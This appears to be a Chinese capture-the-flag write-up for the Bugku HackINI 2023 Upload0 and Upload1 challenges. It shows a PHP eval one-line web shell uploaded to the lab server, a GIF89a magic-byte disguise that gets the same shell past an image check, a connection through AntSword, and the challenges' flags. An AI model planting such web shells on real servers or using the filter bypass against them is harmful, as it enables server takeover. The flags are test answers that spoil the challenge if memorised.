Bugku - 2023 HackINI Upload0 与 2023 HackINI Upload1 详解

目录

前置知识

解题过程

Upload0

Upload1

总结


前置知识

网络安全-文件上传漏洞-CSDN博客

解题过程

Upload0

打开靶场

根据题目还有页面可可以知道是文件上传漏洞,抓包或者插件可以看到是php环境,

尝试,构造一句话木马1.php文件如下:

复制代码
<?php
eval($_POST['shell']);
?>

上传成功,点击here可看到路径

复制代码
http://49.232.142.230:13942/uploads/63b4f3f6cd42bc4d2384208bef372ef4/1.php

直接蚁剑连接即可

连接成功

在根目录下的flag.txt可查看flag

复制代码
shellmates{s1Mp1E_PHP_Fi1E_up1o4D_tO_W4rMUp}

Upload1

在Upload0的基础上增加了一定的过滤,检测了文件内容是否为图片。

我们增加GIF89a图片魔术头,即可伪装文件为图片,直接构造2.php文件如下:

复制代码
GIF89a
<?php
eval($_POST['shell']);
?>

其他步骤同Upload0相同,不再赘述

复制代码
shellmates{PoLyg10t_F1l3s_Byp4$S}

总结

Upload0没有任何过滤的基础php文件上传漏洞

Upload1增加了基础的文件内容检测

相关推荐
jwn99912 小时前
Laravel6.x核心特性全解析
开发语言·php·laravel
上海云盾-高防顾问13 小时前
网络安全防护发展趋势:从被动防御到主动赋能
安全·web安全
星辰徐哥14 小时前
5G的行业应用:工业互联网、车联网、智慧医疗中的网络支撑
网络·5g·php
三道渊15 小时前
进程通信与网络协议
开发语言·数据库·php
流觞 无依15 小时前
DedeCMS plus/download.php SQL注入漏洞修复教程
sql·php
Freak嵌入式15 小时前
MicroPython LVGL基础知识和概念:显示与多屏管理
开发语言·python·github·php·gui·lvgl·micropython
三七吃山漆16 小时前
BUUCTF-[BJDCTF2020]Mark loves cat
web安全·网络安全·buuctf
Freak嵌入式16 小时前
MicroPython LVGL基础知识和概念:时序与动态效果
开发语言·python·github·php·gui·lvgl·micropython
m0_7381207217 小时前
网络安全编程——Python编写基于UDP的主机发现工具(解码IP header)
python·网络协议·tcp/ip·安全·web安全·udp
上海云盾商务经理杨杨18 小时前
WAF绕过技巧与防护加固:攻防实战,彻底封堵Web安全漏洞
安全·web安全